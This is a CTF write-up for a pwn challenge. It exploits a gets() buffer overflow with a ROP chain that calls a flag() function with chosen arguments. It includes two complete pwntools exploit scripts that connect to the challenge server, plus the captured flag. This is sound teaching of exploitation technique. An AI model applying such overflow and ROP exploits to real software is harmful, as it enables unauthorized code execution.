Pwn - really obnoxious problem

140 points | 234 solves

Description

You know the drill.

Downloads

Solution

Didn't manage to solve this during the CTF but I should have.

The program is quite straightforward,

We have a buffer overflow in gets() because there is no boundary check. We shall use a cyclic pattern to find out what is the offset required to control rip.

msf-pattern_create -l 200 to generate the cyclic pattern:

Using gdb, we find out what is in the ret address:

msf-pattern_offset -l 200 -q 6341356341346341 to find the offset.

Now we have control over rip, it is time to find the "win" function and conveniently we have the flag() function available.

To "win", we need to pass in 2 arguments before calling the function and this can be done with a ROP chain. In Linux x64 calling convention, the function arguments are passed via rdi, rsi, rdx, rcx, r8, r9 registers.

ROPgadget --binary ./really_obnoxious_problem --ropchain to find the ROP gadgets.

We have found 2 useful gadgets, pop rdi; ret and pop rsi; pop r15; ret.

Next we want to find the address of "bobby" which we want to populate the second argument with. This can be done from Ghidra itself.

Now that we have everything we need, let's try to craft the exploit.

from pwn import *
context.log_level = 'debug'

r = remote("challs.actf.co", 31225)
#r = process("./really_obnoxious_problem")

arg1 = p64(0x1337)
arg2 = p64(0x402004)

pop_rdi = p64(0x4013f3)
pop_rsi_r15 = p64(0x4013f1)

flag = p64(0x401256)

payload = b'A' * 72
payload += pop_rdi
payload += arg1
payload += pop_rsi_r15
payload += arg2
payload += p64(0x0)
payload += flag

r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)
r.interactive()
r.close()

Flag: actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}

Bonus

Instead of doing all the hard work of finding the ROP gadgets and stuff pwntools can actually do most of the heavy lifting for us.

from pwn import *

r = remote("challs.actf.co", 31225)
elf = context.binary = ELF("./really_obnoxious_problem")
context.log_level = 'debug'

offset = 72

# Create ROP object
rop = ROP(elf)

rop.flag(0x1337, next(elf.search(b'bobby')))

# Build the payload
payload = flat({
	offset: [
		rop.chain()
	]
})

# Send payload
r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)

# Get flag
r.interactive()
r.close()

Last updated